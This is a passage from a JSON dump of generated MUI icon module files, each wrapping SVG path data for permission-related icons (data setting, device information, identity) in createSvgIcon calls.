.45-1 1-1\"\n}, \"1\")], 'PermContactCalendarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermContactCalendarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 5H5v14h14V5zm-4 1c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.84 4.22c-.05-.12-.11-.23-.18-.34-.14-.21-.33-.4-.54-.54-.11-.07-.22-.13-.34-.18-.24-.1-.5-.16-.78-.16h-1V1h-2v2H8V1H6v2H5c-.42 0-.8.13-1.12.34-.21.14-.4.33-.54.54-.07.11-.13.22-.18.34-.1.24-.16.5-.16.78v14c0 1.1.89 2 2 2h14c.28 0 .54-.06.78-.16.12-.05.23-.11.34-.18.21-.14.4-.33.54-.54.21-.32.34-.71.34-1.12V5c0-.28-.06-.54-.16-.78M19 19H5V5h14zm-7-6.12c-2.03 0-6 1.08-6 3.58V18h12v-1.53c0-2.51-3.97-3.59-6-3.59M8.31 16c.69-.56 2.38-1.12 3.69-1.12s3.01.56 3.69 1.12zM12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'PermContactCalendarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSetting.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.99 11.5c.34 0 .67.03 1 .07L20 0 0 20h11.56c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSetting');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSetting.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.99 11.5c.34 0 .67.03 1 .07L20 0 0 20h11.56c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSetting');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.99 11.57H20V0L0 20h11.56v-2H4.83L17.99 4.83zm5.78 8.75-1.07-.83c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32m-4.78.18c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.99 11.57H20V0L0 20h11.56v-2H4.83L17.99 4.83zm5.78 8.75-1.07-.83c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32m-4.78.18c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.99 11.5c.34 0 .68.03 1.01.07V2.42c0-.89-1.08-1.34-1.71-.71L1.71 18.29c-.63.63-.19 1.71.7 1.71h9.15c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.99 11.5c.34 0 .68.03 1.01.07V2.42c0-.89-1.08-1.34-1.71-.71L1.71 18.29c-.63.63-.19 1.71.7 1.71h9.15c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.99 11.5c.34 0 .67.03 1 .07L20 0 0 20h11.56c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.99 11.5c.34 0 .67.03 1 .07L20 0 0 20h11.56c-.04-.33-.07-.66-.07-1 0-4.14 3.36-7.5 7.5-7.5m3.71 7.99c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32zm-3.71 1.01c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.99 11.57H20V0L0 20h11.56v-2H4.83L17.99 4.83zm5.78 8.75-1.07-.83c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32m-4.78.18c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDataSettingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.99 11.57H20V0L0 20h11.56v-2H4.83L17.99 4.83zm5.78 8.75-1.07-.83c.02-.16.04-.32.04-.49s-.01-.33-.04-.49l1.06-.83c.09-.08.12-.21.06-.32l-1-1.73c-.06-.11-.19-.15-.31-.11l-1.24.5c-.26-.2-.54-.37-.85-.49l-.19-1.32c-.01-.12-.12-.21-.24-.21h-2c-.12 0-.23.09-.25.21l-.19 1.32c-.3.13-.59.29-.85.49l-1.24-.5c-.11-.04-.24 0-.31.11l-1 1.73c-.06.11-.04.24.06.32l1.06.83c-.02.16-.03.32-.03.49s.01.33.03.49l-1.06.83c-.09.08-.12.21-.06.32l1 1.73c.06.11.19.15.31.11l1.24-.5c.26.2.54.37.85.49l.19 1.32c.02.12.12.21.25.21h2c.12 0 .23-.09.25-.21l.19-1.32c.3-.13.59-.29.84-.49l1.25.5c.11.04.24 0 .31-.11l1-1.73c.06-.11.03-.24-.06-.32m-4.78.18c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'PermDataSettingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v6h2zm4-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'PermDeviceInformation');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v6h2zm4-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'PermDeviceInformation');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm6-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1z\"\n}), 'PermDeviceInformationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm6-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1z\"\n}), 'PermDeviceInformationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm-1 4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1m5-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'PermDeviceInformationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm-1 4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1m5-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'PermDeviceInformationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v6h2zM5 1v22h14V1zm12 18H7V5h10z\"\n}), 'PermDeviceInformationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v6h2zM5 1v22h14V1zm12 18H7V5h10z\"\n}), 'PermDeviceInformationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm6-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'PermDeviceInformationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermDeviceInformationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm6-9.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'PermDeviceInformationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentity.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PermIdentity');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentity.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.9c1.16 0 2.1.94 2.1 2.1s-.94 2.1-2.1 2.1S9.9 9.16 9.9 8s.94-2.1 2.1-2.1m0 9c2.97 0 6.1 1.46 6.1 2.1v1.1H5.9V17c0-.64 3.13-2.1 6.1-2.1M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PermIdentity');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 9c2.7 0 5.8 1.29 6 2v1H6v-.99c.2-.72 3.3-2.01 6-2.01m0-11C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PermIdentityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 9c2.7 0 5.8 1.29 6 2v1H6v-.99c.2-.72 3.3-2.01 6-2.01m0-11C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}), 'PermIdentityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermIdentityRounded.js",
